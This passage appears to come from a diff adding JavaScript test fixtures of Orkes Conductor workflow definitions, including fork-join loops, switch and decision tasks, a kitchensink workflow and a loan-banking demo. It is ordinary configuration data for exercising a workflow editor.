{ + type: "TERMINAL", + name: "start", + taskReferenceName: "__start", + }, + { + name: "fork_join", + taskReferenceName: "my_fork_join_ref", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "loop_1", + taskReferenceName: "loop_1", + inputParameters: {}, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: "(($.loop_1['iteration'] < 10))", + loopOver: [ + { + name: "first_task_in_loop", + taskReferenceName: "loop_1_task_iter", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "loop_1_set_var", + taskReferenceName: "loop_1_sv", + inputParameters: { + name: "Orkes", + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + ], + [ + { + name: "loop_2", + taskReferenceName: "loop_2", + inputParameters: {}, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: "(($.loop_2['iteration'] < 10))", + loopOver: [ + { + name: "first_task_in_loop", + taskReferenceName: "loop_2_task_iter", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "loop_2_set_var", + taskReferenceName: "loop_2_sv", + inputParameters: { + name: "Orkes", + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + ], + [ + { + name: "loop_3", + taskReferenceName: "loop_3", + inputParameters: { + value: "${workflow.input.value}", + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(($.loop_3['iteration'] < $.value ) && ( $.loop_3_task_iter['outputVal'] < 10))", + loopOver: [ + { + name: "first_task_in_loop", + taskReferenceName: "loop_3_task_iter", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + ], + ], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "fork_join", + taskReferenceName: "fork_join_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: ["loop_1", "loop_2", "loop_3"], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + type: "TERMINAL", + name: "final", + taskReferenceName: "__final", + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "builds@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, +}; + +export const kitchenSink = { + createTime: 1647439893125, + name: "kitchensink", + description: "kitchensink workflow", + version: 1, + tasks: [ + { + name: "task_1", + taskReferenceName: "task_1", + inputParameters: { + mod: "${workflow.input.mod}", + oddEven: "${workflow.input.oddEven}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "event_task", + taskReferenceName: "event_0", + inputParameters: { + mod: "${workflow.input.mod}", + oddEven: "${workflow.input.oddEven}", + }, + type: "EVENT", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + sink: "conductor", + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "dyntask", + taskReferenceName: "task_2", + inputParameters: { + taskToExecute: "${workflow.input.task2Name}", + }, + type: "DYNAMIC", + dynamicTaskNameParam: "taskToExecute", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "oddEvenDecision", + taskReferenceName: "oddEvenDecision", + inputParameters: { + oddEven: "${task_2.output.oddEven}", + }, + type: "DECISION", + caseValueParam: "oddEven", + decisionCases: { + 0: [ + { + name: "task_4", + taskReferenceName: "task_4", + inputParameters: { + mod: "${task_2.output.mod}", + oddEven: "${task_2.output.oddEven}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "dynamic_fanout", + taskReferenceName: "fanout1", + inputParameters: { + dynamicTasks: "${task_4.output.dynamicTasks}", + input: "${task_4.output.inputs}", + }, + type: "FORK_JOIN_DYNAMIC", + decisionCases: {}, + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "input", + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "dynamic_join", + taskReferenceName: "join1", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + 1: [ + { + name: "fork_join", + taskReferenceName: "forkx", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "task_10", + taskReferenceName: "task_10", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "sub_workflow_x", + taskReferenceName: "wf3", + inputParameters: { + mod: "${task_1.output.mod}", + oddEven: "${task_1.output.oddEven}", + }, + type: "SUB_WORKFLOW", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + subWorkflowParam: { + name: "sub_flow_1", + version: 1, + }, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + [ + { + name: "task_11", + taskReferenceName: "task_11", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "sub_workflow_x", + taskReferenceName: "wf4", + inputParameters: { + mod: "${task_1.output.mod}", + oddEven: "${task_1.output.oddEven}", + }, + type: "SUB_WORKFLOW", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + subWorkflowParam: { + name: "sub_flow_1", + version: 1, + }, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + ], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "join", + taskReferenceName: "join2", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: ["wf3", "wf4"], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "search_elasticsearch", + taskReferenceName: "get_es_1", + inputParameters: { + http_request: { + uri: "http://localhost:9200/conductor/_search?size=10", + method: "GET", + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "task_30", + taskReferenceName: "task_30", + inputParameters: { + statuses: "${get_es_1.output..status}", + workflowIds: "${get_es_1.output..workflowId}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "builds@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, +}; + +export const switchExample = { + updateTime: 1635487924982, + name: "Switch_TaskExample", + description: "Switch_TaskExample", + version: 1, + tasks: [ + { + type: "TERMINAL", + name: "start", + taskReferenceName: "__start", + }, + { + name: "switch_task", + taskReferenceName: "switch_task", + inputParameters: { + case_value_param: "${workflow.input.number}", + }, + type: "SWITCH", + decisionCases: { + 0: [ + { + name: "task_5", + taskReferenceName: "task_5", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "task_6", + taskReferenceName: "task_6", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + 1: [ + { + name: "task_8", + taskReferenceName: "task_8", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "task_10", + taskReferenceName: "task_10", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "task_8", + taskReferenceName: "task_8_default", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "case_value_param", + }, + { + name: "task_10", + taskReferenceName: "task_10_last", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + type: "TERMINAL", + name: "final", + taskReferenceName: "__final", + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: true, + ownerEmail: "abc@example.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, +}; + +export const switchTasksWithTerminationNodes = { + name: "loan_type", + taskReferenceName: "loan_type", + inputParameters: { + loantype: "${customer_details.output.loantype}", + }, + type: "SWITCH", + decisionCases: { + education: [ + { + name: "education_details", + taskReferenceName: "education_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "terminate", + taskReferenceName: "terminate0", + inputParameters: { + terminationStatus: "COMPLETED", + workflowOutput: { result: "${task0.output}" }, + }, + type: "TERMINATE", + startDelay: 0, + optional: false, + }, + ], + property: [ + { + name: "employment_details", + taskReferenceName: "employment_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "terminate", + taskReferenceName: "terminate1", + inputParameters: { + terminationStatus: "COMPLETED", + workflowOutput: { result: "${task0.output}" }, + }, + type: "TERMINATE", + startDelay: 0, + optional: false, + }, + ], + }, + defaultCase: [ + { + name: "business_details", + taskReferenceName: "business_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "terminate", + taskReferenceName: "terminate2", + inputParameters: { + terminationStatus: "COMPLETED", + workflowOutput: { result: "${task0.output}" }, + }, + type: "TERMINATE", + startDelay: 0, + optional: false, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "loantype", +}; + +export const lonleySwitchTask = { + name: "loan_type", + taskReferenceName: "loan_type", + inputParameters: { + loantype: "${customer_details.output.loantype}", + }, + type: "SWITCH", + decisionCases: { + emptyCase: [], + education: [ + { + name: "education_details", + taskReferenceName: "education_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "education_details_verification", + taskReferenceName: "education_details_verification", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + property: [ + { + name: "employment_details", + taskReferenceName: "employment_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "employment_details_verification", + taskReferenceName: "employment_details_verification", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + business: [ + { + name: "business_details", + taskReferenceName: "business_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "business_details_verification", + taskReferenceName: "business_details_verification", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "business_details", + taskReferenceName: "business_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "business_details_verification", + taskReferenceName: "business_details_verification", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "loantype", +}; + +export const forkJoinTask = { + name: "fork_join", + taskReferenceName: "fork_ref", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "process_population_max", + taskReferenceName: "process_population_max_ref", + inputParameters: { + body: "${get_population_data_ref.output.response.body}", + queryExpression: "[.body.data[]] | max_by(.Population)", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + [ + { + name: "process_population_min", + taskReferenceName: "process_population_min_ref", + inputParameters: { + body: "${get_population_data_ref.output.response.body}", + queryExpression: "[.body.data[]] | min_by(.Population)", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + ], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], +}; + +export const loanBanking = { + createTime: 1658508370400, + updateTime: 1649266893306, + name: "loan_banking", + description: "This workflow is to demo the loan banking process", + version: 7, + tasks: [ + { + name: "customer_details", + taskReferenceName: "customer_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "loan_type", + taskReferenceName: "loan_type", + inputParameters: { + loantype: "${customer_details.output.loantype}", + }, + type: "SWITCH", + decisionCases: { + education: [ + { + name: "education_details", + taskReferenceName: "education_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "education_details_verification", + taskReferenceName: "education_details_verification", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + property: [ + { + name: "employment_details", + taskReferenceName: "employment_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "employment_details_verification", + taskReferenceName: "employment_details_verification", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "business_details", + taskReferenceName: "business_details", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "business_details_verification", + taskReferenceName: "business_details_verification", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "loantype", + }, + { + name: "credit_score_risk", + taskReferenceName: "credit_score_risk", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "credit_result", + taskReferenceName: "credit_result", + inputParameters: { + creditScore: "${credit_score_risk.output.creditScore}", + }, + type: "SWITCH", + decisionCases: { + possible: [ + { + name: "principal_interest_calculation", + taskReferenceName: "principal_interest_calculation", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "customer_decision", + taskReferenceName: "customer_decision", + inputParameters: { + decision: "${loan_offered_to_customer.output.decision}", + }, + type: "SWITCH", + decisionCases: { + yes: [ + { + name: "loan_transfer_to_customer_account", + taskReferenceName: "loan_transfer_to_customer_account", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "terminate_due_to_customer_rejection", + taskReferenceName: "terminate_due_to_customer_rejection", + inputParameters: { + terminationStatus: "COMPLETED", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "javascript", + expression: "$.decision=='yes' ? 'yes' : 'no' ", + }, + ], + }, + defaultCase: [ + { + name: "terminate_due_to_bank_rejection", + taskReferenceName: "terminate_due_to_bank_rejection", + inputParameters: { + terminationStatus: "COMPLETED", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "javascript", + expression: "$.creditScore > 760 ? 'possible' : 'reject' ", + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "a8615897-dfaf-4d7d-a9ed-f3f78f7ef094@apps.orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, +}; + +export const switchTaskCorrectlyTerminated = { + name: "credit_result", + taskReferenceName: "credit_result", + inputParameters: { + creditScore: "${credit_score_risk.output.creditScore}", + }, + type: "SWITCH", + decisionCases: { + possible: [ + { + name: "principal_interest_calculation", + taskReferenceName: "principal_interest_calculation", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "loan_offered_to_customer", + taskReferenceName: "loan_offered_to_customer", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "terminate_due_to_customer_rejection", + taskReferenceName: "terminate_due_to_customer_rejection_b", + inputParameters: { + terminationStatus: "COMPLETED", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "terminate_due_to_customer_rejection", + taskReferenceName: "terminate_due_to_customer_rejection", + inputParameters: { + terminationStatus: "COMPLETED", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "javascript", + expression: "$.decision=='yes' ? 'yes' : 'no' ", +}; + +export const switchTaskOneNotTerminated = { + name: "credit_result", + taskReferenceName: "credit_result", + inputParameters: { + creditScore: "${credit_score_risk.output.creditScore}", + }, + type: "SWITCH", + decisionCases: { + possible: [ + { + name: "principal_interest_calculation", + taskReferenceName: "principal_interest_calculation", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "loan_offered_to_customer", + taskReferenceName: "loan_offered_to_customer", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "terminate_due_to_customer_rejection", + taskReferenceName: "terminate_due_to_customer_rejection", + inputParameters: { + terminationStatus: "COMPLETED", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "javascript", + expression: "$.decision=='yes' ? 'yes' : 'no' ", +}; + +export const switchWithinSwitchLeafNotTerminated = { + name: "credit_result", + taskReferenceName: "credit_result", + inputParameters: { + creditScore: "${credit_score_risk.output.creditScore}", + }, + type: "SWITCH", + decisionCases: { + possible: [ + { + name: "principal_interest_calculation", + taskReferenceName: "principal_interest_calculation", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "loan_offered_to_customer", + taskReferenceName: "loan_offered_to_customer", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "customer_decision", + taskReferenceName: "customer_decision", + inputParameters: { + decision: "${loan_offered_to_customer.output.decision}", + }, + type: "SWITCH", + decisionCases: { + yes: [ + { + name: "loan_transfer_to_customer_account", + taskReferenceName: "loan_transfer_to_customer_account", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "terminate_due_to_customer_rejection", + taskReferenceName: "terminate_due_to_customer_rejection", + inputParameters: { + terminationStatus: "COMPLETED", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "javascript", + expression: "$.decision=='yes' ? 'yes' : 'no' ", + }, + ], + }, + defaultCase: [ + { + name: "terminate_due_to_bank_rejection", + taskReferenceName: "terminate_due_to_bank_rejection", + inputParameters: { + terminationStatus: "COMPLETED", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "javascript", + expression: "$.creditScore > 760 ? 'possible' : 'reject' ", +}; + +export const taskStub = { + id: "Get_repo_details_ref", + text: "Get_repo_details", + data: { + task: { + name: "Get_repo_details", + taskReferenceName: "Get_repo_details_ref", + inputParameters: { + http_request: { + uri: "https://api.github.com/repos/${workflow.input.gh_account}/${workflow.input.gh_repo}", + method: "GET", + headers: { + Authorization: "token ${workflow.input.gh_token}", + Accept: "application/vnd.github.v3.star+json", + }, + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + executionData: { + status: "COMPLETED", + executed: true, + attempts: 1, + }, + }, + crumbs: [ + { + parent: null, + ref: "calculate_start_cutoff_ref", + refIdx: 0, + }, + { + parent: null, + ref: "Get_repo_details_ref", + refIdx: 1, + }, + ], + status: "COMPLETED", + executed: true, + attempts: 1, + selected: false, + }, + width: 350, + height: 130, +}; + +export const unConnectedSwitchTask = { + name: "sample_task_name_switch", + taskReferenceName: "sample_task_name_h64r7_ref", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: {}, + defaultCase: [], + evaluatorType: "value-param", + expression: "switchCaseValue", +}; + +export const unConnectedSwitch = { + name: "unconnectedWF", + description: + "Edit or extend this sample workflow. Set the workflow name to get started", + version: 1, + tasks: [ + { + name: "sample_task_name_event", + taskReferenceName: "sample_task_name_4a2rf_ref", + type: "EVENT", + sink: "conductor:internal_event_name", + }, + unConnectedSwitchTask, + { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + inputParameters: { + http_request: { 